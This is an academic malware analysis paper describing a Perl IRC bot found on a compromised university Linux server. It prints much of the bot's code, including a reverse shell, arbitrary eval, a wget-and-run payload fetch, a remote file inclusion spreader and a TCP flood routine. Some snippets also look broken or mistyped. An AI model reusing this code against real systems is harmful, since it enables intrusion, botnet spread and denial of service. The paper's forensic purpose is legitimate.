

A short visit to Perl IRC Bot

Jan Göbel

Center for Computing and Communication, RWTH Aachen University

Abstract

This paper describes a manual analysis of an IRC Bot for the linux environment. It was found on a compromised linux server sometime back in 2006. The server was compromised due to a flaw in one of the running web applications. The bot is completely written in perl and offers a nice feature for spreading.

1. Introduction

In late 2006 our botnet detection software *Rishi* [1] picked up unusual IRC [2] traffic from a linux server in one of the residential homes of RWTH Aachen university. The administrator was informed and started to investigate the incident. A few hours later it was clear that an attacker used an unpatched flaw in one of the installed web applications to gain access to the system. Two perl scripts were installed, one for udp flooding and the other one is the IRC bot. In the following section we will take a closer look at the perl [3] bot and describe some of its features.

2. The IRC Bot

To prevent itself from being spotted to easily the perl bot hides in the directory for PHP session cookies. This usually defaults to `/tmp/`. As this directory has write permissions for the webserver this is a common place for malware which exploits web applications. The filename of the bot is set to looklike just one of the other cookies: `sess_adav631df3a1ddfaa34s1x1wwo521459`. However, if you open the file in your favorite editor you will see the difference.

Lets take a look at the first few lines of code:

```
my $bPs      = '-bash';
#my $aMaster = 'krupt';
my $aHost    = 'alef@pentagon.gov';
my $sServer  = 'scan.serverbox.org';
my $sPort    = '6667';
my $sTimeout = '300';
my $bChan    = '#save2';
```

In this first part some common variables are set. This includes the DNS name and port of the IRC server to use, the IRC channel to join, an email address and some timeout parameter. The variable `$bPs` is set here but actually never used. The commented variable `$aMaster` was originally

used to define the IRC botnet master. So the first version of the bot was set to take only commands from a host with the set nickname `krupt`, but this features is not used anymore. The email address set in variable `$aHost` is not used for email transmission but to identify commands send on the IRC channel. We will see this part of the code later on.

Next is the code section which is responsible for the IRC nickname generation and usermode variable.

```
my $bNickLen = '7';
chomp (my $bNick = `whoami`);
my $bIrcName = 'smF';
chomp (my $bRealName = `uname -a`);
my $bDelay   = '2';
```

As one can see the nickname length is set to a predefined value of seven. The nickname is set to the output of the linux command `whoami`, which returns the name of the user running the perl script. This could for example be `root` or some other local user or even the webserver process. The real name is set to the output of the linux command `uname -a`, which returns the running kernel version of the linux distribution. So upon connection to the IRC server, the attacker already knows under which user the bot is running and what kernel version the system runs. The later can be useful for identifying possible local kernel exploits to escalate user privileges.

Before we start to take a closer look at the bot features we will discuss the main routine first. Following are two functions used to initialise the IRC connection before entering the main loop.

```
sub mnick {
    my $nick = $_[1];
    my @abc = ('a' .. 'z');
    for (my $i=0; $i<$_[0]; $i++)
    {
        $nick .= $abc[int(rand($#abc))];
    }
    return $nick;
}

sub init {
    my $socket = IO::Socket::INET->new(
        PeerAddr => $_[3],
        PeerPort => $_[4],
        Proto    => 'tcp',
        Timeout  => '5') or return 0;
    if(defined($socket)) {
        $irc_socket = $socket;
        $irc_select->add($irc_socket);
        $irc_socket->autoflush(1);
        raw("USER ".$_[1]." 0 0 ".$_[2]);
        $cur_nick = $_[0];
    }
}
```

```

    raw("NICK $cur_nick");
    return 1;
}
return 0;
}

```

The first function called `mnick` is used for nickname randomization. One of the drawbacks of IRC for botnets is the fact that nicknames need to be unique, therefore it is necessary to attach some kind of random numbers or characters to the nickname to avoid duplicates. Otherwise the bot can not join the server and would therefore not be under the control of the botnet herder.

So what this function (`mnick`) does, it receives the pre-defined nickname length and the previously generated nickname (`uname -a`) as parameters and attaches some random characters (a-z) to it. The second function in question is the `init` function which is responsible for establishing the connection and transmitting the nickname and usermode parameters of the IRC protocol. The usermode is constructed from the `$bIrcName` and the `$bRealName` variables.

Next in line is the function that is called throughout the main function in a while loop.

```

sub loop {
    my $time_out = time;
    for(;;) {
        my @handles = $irc_select->can_read(1);
        if((time - $time_out) > $sTimeOut){
            $irc_select->remove($irc_socket);
            $irc_socket->close();
            last;
        }
        next unless(@handles);

        foreach my $handle (@handles) {
            my $datain;$handle->recv($datain, 1023, 0);
            my @lines = split(/\r\n/, $datain);

            foreach my $line (@lines) {
                if($line =~ m/^PING (:.+)/){
                    $time_out = time;
                    raw("PONG $1");
                    next;
                }
                elsif($line =~ m/^.:.*\s+005\s+\./i){
                    raw("JOIN $bChan");
                    next;
                }
                elsif ($line =~ m/^.:.*\s+433\s+\./i){
                    $cur_nick = mnick($bNickLen, $bNick);
                    raw("NICK ".$cur_nick);
                    next;
                }
            }
            run::bcmd("$line");
        }
    }
}

```

In the loop function the bot checks for incoming messages via the IRC communication channel. The bot reads 1023 bytes of data from the connection and then systematically checks the received data for known string parts. The first step is to check for “ping” requests. The IRC server sends out ping requests every now and then to check if the client is still alive. If the bot does not reply within a certain

time period with a “pong”, it is disconnected. the following two commands are for channel joining and nickname generation. Thus, our next focus lies on the function called `bcmd` which handels all other incoming data.

```

sub bcmd {
    my @line = split(/ /, $_[0]);

    my $RawMask = shift(@line);
    $RawMask =~ s/://;
    my ($Nick, $Mask) = $RawMask =~ /(.+)(.+)/;
    #unless($Nick eq $aMaster) { return; }
    unless($Mask eq $aHost) { return; }

    my $Type = shift(@line);
    unless($Type eq "PRIVMSG") { return; }

    my $To = shift(@line);

    $" = ' '; $line[0] =~ s/://;my $Text = "@line";

    if ($Text =~ /\Q$cur_nick\E\s+\.\.(\.+)/ {
        if($2 =~ /^nick\s*(.*)/ {
            if($1) { $cur_nick = $1; }
            else {
                $cur_nick = irc::mnick($bNickLen, $bNick);
            }
            irc::raw("NICK $cur_nick");
            return;
        }

        if($2 =~ /bye/) { irc::raw('QUIT :;'); exit; }
        return;
    }

    if ($Text =~ /\Q$cur_nick\E\s+!|\!)(.+)/ {
        if(!fork) {
            if ($2 =~ /^eval\s+(.+)/){
                eval "$1";
                return;
            }

            if ($2 =~ /^rsh\s+(.)\s+(\d+)/){
                rsh($To, $1, $2);
                exit;
            }

            if ($2 =~ /^google\s+(\d+)\s+(.+)/){
                spread::start($To, $1, $2);
                exit;
            }

            if ($2 =~ /^tcpflood\s+(.)\s+(\d+)\s+(\d+)/){
                flood::tcp($To, $1, $2, $3);
                exit;
            }

            if ($2 =~ /^udpflood\s+(.)\s+(\d+)\s+(\d+)/){
                flood::udp($To, $1, $2, $3);
                exit;
            }

            if ($2 =~ /^httpflood\s+(.)\s+(\d+)/){
                flood::http($To, $1, $2);
                exit;
            }

            if ($2 =~ /^join (.*)/ {
                j("$1");
            }

            if ($2 =~ /^part (.*)/ {
                p("$1");
            }
            exit;
        }
        return;
    }

    if($Text =~ /\Q$cur_nick\E|\$sh\s+(.+)/ {
        if(!fork) {

```

```

    bsh($To, $2);
    exit;
}
return;
}
if ($To eq $cur_nick){
    if(!fork) {
        bsh($Nick, $Text);
        exit;
    }
    return;
}
}
}

```

This function holds some more interesting information about the bots features, the commands it understands and what action it performs. The first few lines deal with some kind of authorization check. A mask is extracted from the incoming data and compared against the `$aHost` variable, which was initialised with some email address in the beginning. Thus, the bot accepts only commands which match the special mask. You can still see the commented line checking for the `$aMaster` variable. Furthermore, only private messages are considered for commands (PRIVMSG).

We can distinguish between two types of commands. The first type uses dots in the commandline and controls two IRC related functions: changing the nickname and quitting the connection. The second type uses exclamation marks and controls the “evil” functions.

The first function is called *eval* and allows an attacker to execute arbitrary commands on the remote system. Eval is a perl function whose argument is perl code which is executed by this function. This is a really powerful function as it allows the attacker to run any perl code on the victim host.

The second function is called *rsh*. As the name already reveals, this command opens a remote shell. The function takes three parameters. The first one is the nickname of the IRC client to which a private message is sent about the connection. The second and third parameters hold the IP and port of the remote host to connect to. Following is the perl code for the function.

```

sub rsh {
    irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");

    socket(SOCKET, PF_INET, SOCK_STREAM,
        getprotobyname('tcp')) or exit;
    connect(SOCKET, sockaddr_in($_[2],
        inet_aton($_[1]))) or exit;

    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");

    print "elxbot's connectback backdoor\n";
    system('/bin/sh');

    close(STDIN);
    close(STDOUT);
    close(STDERR);
}

```

The most interesting functions are named *start* and *google* and are responsible for finding new vulnerable sys-

tems. In contrast to the name google the perl bot uses the search engine altavista to find hosts running “SMF Gallery”. Probably one of the earlier version used google who knows.

Basically the bot uses the following search string to retrieve a list of vulnerable hosts: “%22Powered+by+SMF%22+%2Bcom.smf+site%3A”.\$dom.”%20”. Next the path to the gallery is extracted and the bot constructs a http request to include a remote file in the php gallery script. Following are the two function for vulnerable system retrieval and file inclusion request construction:

```

sub start {
    irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for
        \"$_[1].\"");

    our $s_time = time;
    my $m_time = $_[1] * 60; #'
    srand;

    my $bPath =
        '/tmp/sess_cdav631df3a1ddfaa34s1xlwwo521451';
    my $rfi = 'http://webstorch.com/cap.txt';
    my $bLoc = 'http://webstorch.com/borek.txt';
    my $cmds =
        "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";

    $cmds =~ s/ /%20/g;

    while($m_time > (time - $s_time)) {
        my $dup = "";my @urls = google();

        foreach my $url (@urls) {
            (my $host, my $tmp_path) =
                $url =~ /([\w\.\-\\w]*) (\/\w*\/?)/;
            my $path = '/';
            if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) {
                $path = "$1";
            }

            if($dup eq $host) { next; } $dup = "$host";

            $url = 'http://' . $path . '/components/com_smf/
                smf.php?mosConfig_absolute_path=' . $rfi . '??';

            my $sock = IO::Socket::INET->new( Proto => "tcp",
                PeerAddr => $host, PeerPort => 80) or next;
            print $sock "GET $url HTTP/1.1\nHost: $host\nAccept:
                */*\nConnection: close\n\n";
            $sock->close();
        }
    }
    irc::raw(
        "PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
}

sub google() {
    my $rnd=(int(rand(300)));
    my $n= 80;
    if ($rnd<300) { $rnd=(int(rand(300))); }
    my $msn=(int(rand(10)) * $n);
    my @domains = ('ac', 'ad', 'aero', 'af', 'ag',
        'ai', 'al', 'am', 'an', 'ao',
        'aq', 'ar', 'ar', 'as', 'at',
        'au', 'aw', 'aw', 'az', 'ba',
        'bb', 'bd', 'be', 'bf', 'bg',
        'bh', 'bi', 'biz', 'bj', 'bm',
        'bn', 'bo', 'br', 'bs', 'bt',
        'bv', 'bw', 'by', 'bz', 'ca',
        'cc', 'cd', 'cd', 'cf', 'cg',
        'ch', 'ci', 'ck', 'cl', 'cm',
        'cn', 'co', 'com', 'coop', 'cr',
        'cs', 'cu', 'cx', 'cy', 'cz',
        'de', 'dj', 'dk', 'dm', 'dz',
        'ec', 'edu', 'ee', 'eg', 'eh',
        'er', 'es', 'et', 'eu', 'fi',

```

```

'fi', 'fk', 'fo', 'fr', 'ga',
'gb', 'gd', 'ge', 'gf', 'gg',
'gh', 'gi', 'gl', 'gn', 'gob',
'gp', 'gq', 'gr', 'gs', 'gt',
'gu', 'gub', 'gw', 'gy', 'hk',
'hm', 'hn', 'hr', 'ht', 'hu',
'id', 'ie', 'il', 'im', 'in',
'info', 'int', 'io', 'iq', 'ir',
'is', 'it', 'je', 'jm', 'jo',
'jp', 'ke', 'kg', 'kh', 'ki',
'km', 'kn', 'kp', 'kr', 'kw',
'ky', 'kz', 'la', 'lb', 'lc',
'li', 'lk', 'lr', 'ls', 'lt',
'lu', 'lv', 'ly', 'ma', 'mc',
'md', 'mg', 'mh', 'mk', 'ml',
'mm', 'mn', 'mo', 'mp', 'mq',
'mr', 'ms', 'mt', 'mu', 'museum',
'mv', 'mw', 'mx', 'my', 'mz',
'na', 'name', 'nc', 'ne', 'net',
'nf', 'ng', 'ni', 'nl', 'nl',
'no', 'np', 'nr', 'nu', 'nz',
'om', 'org', 'pa', 'pe', 'pf',
'pg', 'ph', 'pk', 'pl', 'pm',
'pn', 'pr', 'pro', 'ps', 'pt',
'pw', 'py', 'qa', 're', 'rj',
'ro', 'ru', 'rw', 'sa', 'sb',
'sc', 'sd', 'se', 'se', 'sg',
'sh', 'sj', 'sk', 'sl', 'sm',
'sn', 'so', 'sr', 'st', 'su',
'sv', 'sy', 'sz', 'tc', 'td',
'tf', 'tg', 'th', 'tm', 'tn',
'to', 'tp', 'tr', 'tt', 'tv',
'tw', 'tz', 'ua', 'ug', 'uk',
'um', 'us', 'uy', 'uz', 'va',
'vc', 'vc', 've', 'vg', 'vi',
'vn', 'vu', 'wf', 'ws', 'xxx',
'ye', 'yt', 'yu', 'za', 'zm', 'zw';

```

```

my @str = ();
foreach my $dom (@domains) {
    push (@str,
        "%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20");
}

my $query = 'http://www.altavista.com/web/results?q=';
$query    .= $str[rand(scalar(@str))];
$query    .= "&stq=$msn";

my @lst=();
#irc::raw("privmsg #debug :DEBUG only test googling:
        ".$query."");
my $page = http_query($query);

while (
    $page =~ m/<a class=1 href="\?http://\[^\]\+\]"?>/g
){
    if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
}
return (@lst);
}

```

The google function builds up the altavista query and returns the list of vulnerable systems. The start function then iterates over the found hosts and tries the remote file inclusion vulnerability. A very nice feature for finding new victims which we have not seen before.

The last three function are the typical denial of service stuff. The perl script features three different kinds of methods for denial of service. One for TCP flooding [4], one for UDP flooding [5], and last but not least one for HTTP flooding. The used methods do not differ much, parameters are the target host, port and duration of the attack and the the bot starts sending either TCP/UDP packets or HTTP re-

quests. Following is the function for TCP denial of service.

```

sub tcp {
    irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking
        "._$_[1].":"._$_[2]." for "._$_[3]."."");

    $s_time = time;
    my @SOCKET;

    while ($_[3] > (time - $s_time)) {
        for(my $i=0;$i<200;$i++) {
            socket($SOCKET[$i], PF_INET, SOCK_STREAM,
                getprotobyname('tcp'));
            fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
        }

        for(my $i=0;$i<200;$i++) {
            connect($SOCKET[$i],
                sockaddr_in(rand(65500)+1):$_[2],
                inet_aton($_[1]));
        }

        for(my $i=0;$i<200;$i++) {
            close($SOCKET[$i]);
        }
    }
    irc::raw("PRIVMSG $_[0] :
        \002[TCP-DDOS]\002 Finished.");
}

```

The other two denial of service functions are pretty much the same, so we will just skip them here. So much for the detailed code analysis lets summarize and conclude what we have found out.

3. Summary and Conclusions

In this short paper we gave a detailed view over a small perl based IRC bot written for the linux operating system. It was found on a compromised webserver running some PHP based gallery application, which was vulnerable to a remote file inclusion attack.

The perl code itself was hidden in a file that should look like a normal PHP session file. We discussed the main parts of the code and the features the bot provides. One of the more interesting features is the way the bot spreads. It uses the search engine provided by altavista to look for hosts running a certain service. Besides the spreading the bot is able to perform different types of denial of service attacks and to execute any perl script on the victim host.

As a conclusion one can say that is a nice little bot which is still in its development phase. However, with the lack of rootkit techniques it is easy to spot for a fairly advanced linux administrator. The only stealth technique used it the filename obfuscation. Another drawback is, that the file is usually stored in the tmp folder, which is frequently emptied by the system. As a result, a standard linux system would not stay under the control of the botnet herder for long. As this is the first linux based bot we have investigated we cannot compare it with others.

References

- [1] Jan Göbel and Thorsten Holz,
Rishi: Identify Bot Contaminated Hosts by IRC Nickname Evaluation, 2007
<http://www.rz.rwth-aachen.de/rztop/vorlagen/2007-rishi-hotbots.pdf>
- [2] mIRC,
IRC: What is IRC, 2007
<http://www.mirc.com/irc.html>
- [3] Wikipedia,
Perl, 2007
<http://en.wikipedia.org/wiki/Perl>
- [4] Wikipedia,
SYN-Flood, 2007
<http://de.wikipedia.org/wiki/SYN-Flood>
- [5] Wikipedia,
UDP flood attack, 2007
http://en.wikipedia.org/wiki/UDP_flood_attack
- [6] Wei-Zhou Lu and Shun-Zheng Yu,
An HTTP Flooding Detection Method Based on Browser Behavior, 2006
http://ieeexplore.ieee.org/xpls/abs_all.jsp?arnumber=4076140